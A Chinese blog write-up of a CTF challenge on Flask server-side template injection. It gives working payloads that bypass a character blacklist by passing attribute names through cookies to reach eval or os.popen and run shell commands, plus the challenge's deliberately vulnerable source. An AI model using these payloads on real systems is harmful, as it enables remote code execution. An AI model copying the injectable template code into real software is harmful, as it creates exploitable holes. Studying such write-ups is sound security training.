NSS [HNCTF 2022 WEEK3]ssssti

NSS [HNCTF 2022 WEEK3]ssssti

SSTI类题目(flask)毋庸置疑。

image-20230928074027535

有过滤,我们拿burp先fuzz一波。长度159的都是被过滤的。

image-20230928074215865

过滤了下划线、引号、args、os。

我们利用request对象绕过对下划线和引号的过滤(题目不允许POST方法,所以我们用request.cookies.x1

先找找可用类。

?name={{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}

COOKIE:class=__class__;bases=__bases__;subclasses=__subclasses__

没有os._wrap_close,但是有warnings.catch_warnings,下标为59。我们可以用内建函数 eval 执行命令。

image-20230928081057843

我们的原始payload是: ( eval 执行命令)

{{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

绕过过滤后的payload:

GET:name={{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()[59][request.cookies.init][request.cookies.globals][request.cookies.builtins][request.cookies.eval](request.cookies.cmd)}}

COOKIE:class=__class__;bases=__bases__;subclasses=__subclasses__;init=__init__;globals=__globals__;builtins=__builtins__;eval=__eval__;cmd=__import__("os").popen("ls /").read()

奇怪的事情发生了,居然执行不了????一步步排查问题是出在了__import__("os").popen("ls /").read()

image-20230928090508025

那我们换一种方式,没有os._wrap_close类也能用os模块执行命令。

原始payload:

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

绕过过滤后的payload:

GET:name={{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}

COOKIE:class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /

image-20230928091535136

源码如下:

from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directory
import os
import re
app = Flask(__name__)
@app.route("/")
def app_index():
    name = request.args.get('name')
    blacklist = ['\'', '"', 'args', 'os', '_']
    if name:
        for no in blacklist:
            if no in name:
                return 'Hacker'
    template = '''{%% block body %%} 
            <div class="center-content error"> 
                <h1>WELCOME TO HNCTF</h1> 
                <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a>
                <h3>%s</h3> 
            </div> 
            {%% endblock %%} 
             ''' % (request.args.get('name'))
    return render_template_string(template)
if __name__=="__main__":
    app.run(host='0.0.0.0',port=5050)
  • 11
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值